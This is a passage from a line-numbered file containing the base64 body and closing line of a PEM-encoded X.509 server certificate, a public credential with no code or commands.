7 | LTE3Mi0yNi0xLTgxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApLXA
8 | baMZV2V9awcD3gpNuZ31WzNLd3MUSomEbjhqA7BmyRAbYIQXcPOoKy2JmDoHZ8Ta
9 | 9AVs7Vn9fc50Tt1VAfJPAXTlXLah2FC7ucMkyyxutzfR6QOBF/96cpFwnCATOE0c
10 | WpbxbAM2vlI1AJgoEZareLKH3/GnbONF3dxOsbDEBTAtjzgmIn85/YqeNTOEO6Gn
11 | l2U0KdJFvuMLd93mPdZMVvabsH16zzKKPfixIBtNeIduti6BmDIhtNCyL07XO7Jo
12 | T3ByZSxHpJTxrJxFV45c88f2dR+2nhUb2zJDonGomgb0tFuiwvQ8E7ZfBD849PyX
13 | a0pAUw7tAzKG59I49wIDAQABo1kwVzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
14 | CgYIKwYBBQUHAwEwHwYDVR0jBBgwFoAU3oNmS8DTygfRdPEdfIdLEz3cA8kwDwYD
15 | VR0RBAgwBocEDdLaZTANBgkqhkiG9w0BAQsFAAOCAYEAlZVOr/F7PwATlVTci/nD
16 | Wo3t33RMTZ3dajSVstWZhBPep2XaSjgFLarMX2YKqADbgrIYWZZdVtAz9Zyzuiy0
17 | 8dzNd6uR+t0Ne7CTRyGC16/y47SJYe5mBlwm2+ADBY2q/F+z1EtrzIPumfRls6rm
18 | 2f4KzX3lJKNv01KBVtGeri51ng5CRlebaH+N6fYd3iHUoDKT3fc0jM2M0pTOFzsH
19 | gTV8gjyFVDIz/r+RPOYmVOrkf4IdbNB4KFUfIFMNxaFRbz4wYakub7VSKFlY3p3A
20 | PDayOpxovMqsCDlqKSlLhTAjVdwjj8+Z1AbfWcYN3wqLagZoJiJbevmWmyocEVZu
21 | QmM8Id/gaaE7nHCBBbUtTBvOVLEVJwD6yNaMVe5dxrwOLBgEuace9xkQ2PWZcosZ
22 | +X9Y1ubBTB0TFx/NduoYLy8rJt/zef6Co2EHB7ssqrd7qJFp7ZlrqscbKV4v+5nd
23 | lC+MjyXF/TV607teEjwD4Mrd45cWEvR2yv7XIgnpNmqz
24 | -----END CERTIFICATE-----
25 |
--------------------------------------------------------------------------------